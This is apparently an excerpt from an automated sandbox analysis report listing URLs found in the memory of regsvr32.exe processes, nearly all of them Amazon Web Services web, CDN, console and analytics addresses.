Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra-search/1.0.13/js
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.385/directories
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.385/libra-cardsui
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.385/libra-head.js
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/libra/1.0.385/librastandardlib
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/plc/js/1.0.112/plc
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/pricing-calculator/js/1.0.2
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/pricing-savings-plan/js/1.0.6
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/psf/null
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/s_code/js/3.0/awshome_s_code.js
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com/target/1.0.114/aws-target-mediator.js
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.awsstatic.com;
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: https://a0.p
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://a0.p.awsstatic.com
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: https://a0.pstat8
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://a1.awsstatic.com
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109602739.0000000000337000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://amazon.com/
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://amazonwebservices.d2.sc.omtrdc.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://amazonwebservicesinc.tt.omtrdc.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://anchor.fm
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://api.regional-table.region-services.aws.a2z.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://api.us-west-2.prod.pricing.aws.a2z.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://aws-quickstart.s3.amazonaws.com
Source: regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/?nc1=h_ls
Source: regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/?nc2=h_lg
Source: regsvr32.exe, 00000003.00000003.2099401412.00000000002D4000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/M
Source: regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp	String found in binary or memory: https://aws.amazon.com/VT
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ar/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ar/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/cn/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/cn/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/de/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/de/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/es/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/es/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/fr/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/fr/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/id/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/id/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/it/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/it/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/jp/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/jp/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ko/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ko/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/marketplace/?nc2=h_mo
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/marketplace/?nc2=h_ql_mp
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/podcasts/aws-podcast/
Source: regsvr32.exe, 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/privacy/?nc1=f_pr
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/pt/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/pt/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ru/
Source: regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/ru/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/search
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/search/
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/search/?searchQuery=
Source: regsvr32.exe, 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/terms/?nc1=f_pr
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/th/
Source: regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/th/?nc1=f_ls
Source: regsvr32.exe, 00000003.00000003.2099287242.00000000034A7000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tr/
Source: regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tr/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tw/
Source: regsvr32.exe, 00000003.00000002.2102293424.000000000029D000.00000004.00000020.sdmp, regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/tw/?nc1=h_ls
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000003.00000003.2099261529.00000000034C3000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/vi/
Source: regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://aws.amazon.com/vi/?nc1=f_ls
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://awsmedia.s3.amazonaws.com
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: https://awspodcastsiberiaent.s3.eu-west-3.amaz
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://awspodcastsiberiaent.s3.eu-west-3.amazonaws.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://b0.p.awsstatic.com
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://c0.b0.p.awsstatic.com
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://calculator.aws
Source: regsvr32.exe, 00000003.00000002.2105442912.0000000003469000.00000004.00000001.sdmp	String found in binary or memory: https://calculator.wsstatic.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://chtbl.com
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/?nc2=h_m_mc
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/billing/home?nc2=h_m_bc
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/console/home
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/console/home?nc1=f_ct&src=footer-signin-mobile
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/iam/home?nc2=h_m_sc#security_credential
Source: regsvr32.exe, 00000003.00000002.2102286256.000000000028E000.00000004.00000020.sdmp, regsvr32.exe, 00000004.00000002.2109575246.000000000030E000.00000004.00000020.sdmp, regsvr32.exe, 00000005.00000003.2113675072.00000000003BC000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/support/home/?nc1=f_dr
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/support/home/?nc2=h_ql_cu
Source: regsvr32.exe, 00000003.00000003.2099465850.000000000347A000.00000004.00000001.sdmp, regsvr32.exe, 00000004.00000002.2111614984.0000000003136000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119863097.00000000028D0000.00000004.00000001.sdmp	String found in binary or memory: https://console.aws.amazon.com/support/home?nc2=h_ql_cu
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d0.awsstatic.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1.awsstatic-china.com
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1.awsstatic.com
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1fgizr415o1r6.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1hemuljm71t2j.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1le29qyzha1u4.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1oqpvwii7b6rh.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1vo51ubqkiilx.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d1yyh5dhdgifnx.cloudfront.net
Source: regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d2908q01vomqb2.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d2a6igt6jhaluh.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d36cz9buwru1tt.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://d3borx6sfvnesb.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://d3ctxlq1ktw2nl.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp	String found in binary or memory: https://d3h2ozso0dirfl.cloudfront.net
Source: regsvr32.exe, 00000005.00000003.2113854325.00000000028CB000.00000004.00000001.sdmp, regsvr32.exe, 00000005.00000002.2119849500.00000000028C0000.00000004.00000001.sdmp	String found in binary or memory: https://dc.ads.linkedin.com
